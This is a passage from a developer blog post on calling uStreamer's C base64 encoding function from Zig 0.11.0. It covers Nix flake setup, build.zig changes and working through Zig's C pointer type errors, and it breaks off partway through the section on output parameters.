&lt;p>My favorite way of installing Zig is &lt;a href="https://zero-to-nix.com/">with Nix&lt;/a>, as it allows me to switch Zig versions easily. Feel free to &lt;a href="https://ziglang.org/learn/getting-started/">install Zig&lt;/a> any way you prefer.&lt;/p>
&lt;p>I added the following &lt;code>flake.nix&lt;/code> file to my project, which pulls Zig 0.11.0 into my environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Dev environment for zig-c-simple&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 0.11.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/46688f8eb5cd6f1298d873d4d2b9cf245e09e88e&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { self, flake-utils, zig-nixpkgs }@inputs :
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig-nixpkgs = inputs.zig-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = zig-nixpkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig-nixpkgs.zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#34;zig&amp;#34; &amp;#34;$(zig version)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From here, I can run &lt;code>nix develop&lt;/code>, and I see that Nix 0.11.0 is available in my project environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># There&amp;#39;s a weird quirk of Nix flakes that they have to be added to your git&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># repo.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ git add flake.nix
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zig 0.11.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="creating-a-zig-executable">Creating a Zig executable&lt;/h2>
&lt;p>The Zig compiler&amp;rsquo;s &lt;code>init-exe&lt;/code> creates a boilerplate Zig application, so I&amp;rsquo;ll use it to create a simple Zig app within the uStreamer source tree:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig init-exe
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>info: Created build.zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>info: Created src/main.zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>info: Next, try &lt;span style="color:#ed9d13">`&lt;/span>zig build --help&lt;span style="color:#ed9d13">`&lt;/span> or &lt;span style="color:#ed9d13">`&lt;/span>zig build run&lt;span style="color:#ed9d13">`&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I try compiling and running the boilerplate Zig application, I see that everything works:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>All your codebase are belong to us.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Run &lt;span style="color:#ed9d13">`&lt;/span>zig build &lt;span style="color:#24909d">test&lt;/span>&lt;span style="color:#ed9d13">`&lt;/span> to run the tests.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The uStreamer C file I want to call &lt;a href="https://github.com/pikvm/ustreamer/blob/v5.45/src/libs/base64.h#L25-L27">depends on the C standard library&lt;/a>, so I need to make a small adjustment to my &lt;code>build.zig&lt;/code> file to link against that library. While I&amp;rsquo;m adjusting, I&amp;rsquo;ll also replace the boilerplate binary name with &lt;code>base64-encoder&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>exe&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>b.&lt;span style="color:#447fcf">addExecutable&lt;/span>(.{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.name&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;base64-encoder&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Change binary name.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>.root_source_file&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>.path&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;src/main.zig&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.target&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>target,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.optimize&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>optimize,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>exe.&lt;span style="color:#447fcf">linkLibC&lt;/span>();&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Link against C standard library.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>exe.&lt;span style="color:#447fcf">addIncludePath&lt;/span>(.{&lt;span style="color:#666"> &lt;/span>.path&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;src&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="calling-ustreamer-code-from-zig">Calling uStreamer code from Zig&lt;/h2>
&lt;p>Now, I want to call the &lt;code>us_base64_encode&lt;/code> C function from Zig.&lt;/p>
&lt;p>As a reminder, here&amp;rsquo;s the C function I&amp;rsquo;m trying to call from Zig, which I explained &lt;a href="https://mtlynch.io/notes/zig-unit-test-c/#whats-the-simplest-c-function-in-ustreamer">above&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/libs/base64.h
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> &lt;span style="color:#447fcf">us_base64_encode&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">uint8_t&lt;/span> *data, &lt;span style="color:#6ab825;font-weight:bold">size_t&lt;/span> size, &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> **encoded, &lt;span style="color:#6ab825;font-weight:bold">size_t&lt;/span> *allocated);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Figuring out how to translate between C types and Zig types turned out to be the hardest part of this process, as I&amp;rsquo;m still a Zig novice.&lt;/p>
&lt;p>Here was my first attempt:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>ustreamer&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;libs/base64.c&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>*&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">undefined&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// WRONG: This doesn&amp;#39;t compile.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(&amp;amp;input,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That yielded this compiler error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zig build-exe b64 Debug native: error: the following &lt;span style="color:#24909d">command&lt;/span> failed with &lt;span style="color:#3677a9">1&lt;/span> compilation errors:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/main.zig:17:32: error: expected &lt;span style="color:#24909d">type&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;[*c]const u8&amp;#39;&lt;/span>, found &lt;span style="color:#ed9d13">&amp;#39;*const *const [13:0]u8&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ustreamer.us_base64_encode(&amp;amp;input, input.len, &amp;amp;cEncoded, &amp;amp;allocatedSize);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^~~~~~
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/main.zig:17:32: note: pointer &lt;span style="color:#24909d">type&lt;/span> child &lt;span style="color:#ed9d13">&amp;#39;*const [13:0]u8&amp;#39;&lt;/span> cannot cast into pointer &lt;span style="color:#24909d">type&lt;/span> child &lt;span style="color:#ed9d13">&amp;#39;u8&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/home/mike/ustreamer/zig-cache/o/9599bf4c636d23e50eddd1a55dd088ff/cimport.zig:1796:43: note: parameter &lt;span style="color:#24909d">type&lt;/span> declared here
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pub &lt;span style="color:#24909d">export&lt;/span> fn us_base64_encode(arg_data: [*c]const u8, arg_size: usize, arg_encoded: [*c][*c]u8, arg_allocated: [*c]usize) void {
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I had trouble understanding this error at first because so much of it was unfamiliar.&lt;/p>
&lt;p>The important bit of the compiler error above is &lt;code>error: expected type '[*c]const u8', found '*const *const [13:0]u8'&lt;/code>. It&amp;rsquo;s telling me that I tried to pass in a &lt;code>*const *const [13:0]u8&lt;/code>, but Zig needs me to pass in &lt;code>[*c]const u8&lt;/code>.&lt;/p>
&lt;p>What does that mean?&lt;/p>
&lt;h3 id="understanding-the-type-i-used">Understanding the type I used&lt;/h3>
&lt;p>According to the Zig compiler, I passed in a parameter of type &lt;code>'*const *const [13:0]u8&lt;/code>. To understand what this means, I&amp;rsquo;ll go from right to left:&lt;/p>
&lt;p>&lt;code>u8&lt;/code> is an unsigned byte, which is how Zig represents characters in a string.&lt;/p>
&lt;p>&lt;code>[13:0]&lt;/code> means a null-terminated array. The &lt;code>13&lt;/code> is the length of the array, which Zig calculates at compile-time. &lt;code>:0&lt;/code> means that the array has an extra byte with a value of &lt;code>0&lt;/code> to indicate the end of the string. For more details about the mechanics of null-terminated strings in Zig, see &lt;a href="https://mtlynch.io/notes/zig-strings-call-c-code/">my previous post&lt;/a>.&lt;/p>
&lt;p>&lt;code>*const&lt;/code> means a constant pointer. A pointer is an address in memory, and the &lt;code>const&lt;/code> means that subsequent code may not reassign the variable.&lt;/p>
&lt;p>&lt;code>*const *const&lt;/code> means a constant pointer to a constant pointer. In other words, &lt;code>input&lt;/code> is a constant pointer to a string, so that means &lt;code>&amp;amp;input&lt;/code> is a constant pointer to a constant pointer.&lt;/p>
&lt;h3 id="converting-a-zig-type-to-a-c-type">Converting a Zig type to a C type&lt;/h3>
&lt;p>Okay, now I understand how Zig views the string that I passed. What did Zig &lt;em>want&lt;/em> me to pass as the &lt;code>input&lt;/code> type?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>expected type &amp;#39;[*c]const u8&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>What the heck does &lt;code>[*c]&lt;/code> mean?&lt;/p>
&lt;p>This was surprisingly hard to figure out. I eventually pieced it together from a few different sources.&lt;/p>
&lt;p>Here&amp;rsquo;s the official Zig documentation:&lt;/p>
&lt;blockquote>
&lt;h3 id="c-pointers">C Pointers&lt;/h3>
&lt;p>This type is to be avoided whenever possible. The only valid reason for using a C pointer is in auto-generated code from translating C code.&lt;/p>
&lt;p>When importing C header files, it is ambiguous whether pointers should be translated as single-item pointers (*T) or many-item pointers ([*]T). C pointers are a compromise so that Zig code can utilize translated header files directly.&lt;/p>
&lt;p>&lt;a href="https://ziglang.org/documentation/0.11.0/#C-Pointers">https://ziglang.org/documentation/0.11.0/#C-Pointers&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>I didn&amp;rsquo;t understand the documentation, as it seemed to be warning against using C pointers rather than explaining what they are.&lt;/p>
&lt;p>More &lt;a href="https://kagi.com">Kagi&lt;/a>&amp;lsquo;ing led me to this explanation on reddit, which I found more accessible:&lt;/p>
&lt;blockquote>
&lt;p>&lt;code>[*c]T&lt;/code> is just a C pointer to type T, it says that it doesn&amp;rsquo;t know whether there are multiple elements in that pointer or not. There could be, there could not be. We also don&amp;rsquo;t know the length of it (it&amp;rsquo;s not a slice which has pointer+length, it&amp;rsquo;s just a pointer). And if there are multiple elements, we don&amp;rsquo;t know if it is say null-terminated or not.&lt;/p>
&lt;p>&lt;a href="https://www.reddit.com/r/Zig/comments/11uqo84/comment/jcplxiz/">-/u/slimsag on reddit&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>Okay, that makes more sense.&lt;/p>
&lt;p>In C, a pointer is just a memory address and a data type. A C type of &lt;code>char*&lt;/code> could point to a single character like &lt;code>'A'&lt;/code>, or it could point to the first character in a sequence like &lt;code>&amp;quot;ABCD&amp;quot;&lt;/code>.&lt;/p>
&lt;p>In Zig, a pointer to an array is a different type than a pointer to a single element. When Zig has to infer a data type from C code, Zig can&amp;rsquo;t tell whether the C code is referring to a single element or an array, so the C pointer type (&lt;code>[*c]T&lt;/code>) is Zig&amp;rsquo;s way of saying, &amp;ldquo;I don&amp;rsquo;t know. I got this from C.&amp;rdquo;&lt;/p>
&lt;p>Through trial and error, I figured out that Zig wanted me to get a pointer to &lt;code>input&lt;/code> by referencing &lt;code>input.ptr&lt;/code> rather than using the address-of operator &lt;code>&amp;amp;&lt;/code>.&lt;/p>
&lt;p>This Zig snippet shows the difference between the &lt;code>.ptr&lt;/code> and &lt;code>&amp;amp;&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;input is type {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#24909d">@typeName&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(input))});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;amp;input is type {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#24909d">@typeName&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(&amp;amp;input))});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;input.ptr is type {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#24909d">@typeName&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(input.ptr))});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>input is type *const [13:0]u8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;amp;input is type *const *const [13:0]u8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>input.ptr is type [*]const u8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Recall that Zig wants me to pass &lt;code>us_base64_encode&lt;/code> a parameter of type &lt;code>[*c]const u8&lt;/code>, so it looks like it can convert &lt;code>[*]const u8&lt;/code> to that type.&lt;/p>
&lt;p>Okay, let me try calling &lt;code>us_base64_encode&lt;/code> again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>*&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">undefined&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(input.ptr,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That gives me:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zig build-exe b64 Debug native: error: the following &lt;span style="color:#24909d">command&lt;/span> failed with &lt;span style="color:#3677a9">1&lt;/span> compilation errors:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/main.zig:12:54: error: expected &lt;span style="color:#24909d">type&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;[*c][*c]u8&amp;#39;&lt;/span>, found &lt;span style="color:#ed9d13">&amp;#39;**u8&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ustreamer.us_base64_encode(input.ptr, input.len, &amp;amp;cEncoded, &amp;amp;allocatedSize);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^~~~~~~~~
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Progress!&lt;/p>
&lt;p>The code still doesn&amp;rsquo;t compile, but Zig is now complaining about the third parameter instead of the first. That at least tells me that I&amp;rsquo;ve supplied the expected types for the first two parameters.&lt;/p>
&lt;h3 id="translating-the-output-parameters-into-zig">Translating the output parameters into Zig&lt;/h3>
&lt;p>The compiler error also contains a helpful bit of information for calling into the C implementation of &lt;code>us_base64_encode&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>pub &lt;span style="color:#24909d">export&lt;/span> fn us_base64_encode(arg_data: [*c]const u8, arg_size: usize, arg_encoded: [*c][*c]u8, arg_allocated: [*c]usize) void {
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s the signature of the C function translated into Zig, so Zig is telling me exactly the types I need to pass in to call the function.&lt;/p>
&lt;p>Alternatively, I can use the &lt;code>zig translate-c&lt;/code> utility to translate this C function signature into Zig. This effectively gives the same results as the compiler error above, but it preserves the original parameter names, whereas the compiler error prefixes them with &lt;code>arg_&lt;/code>.&lt;/p>
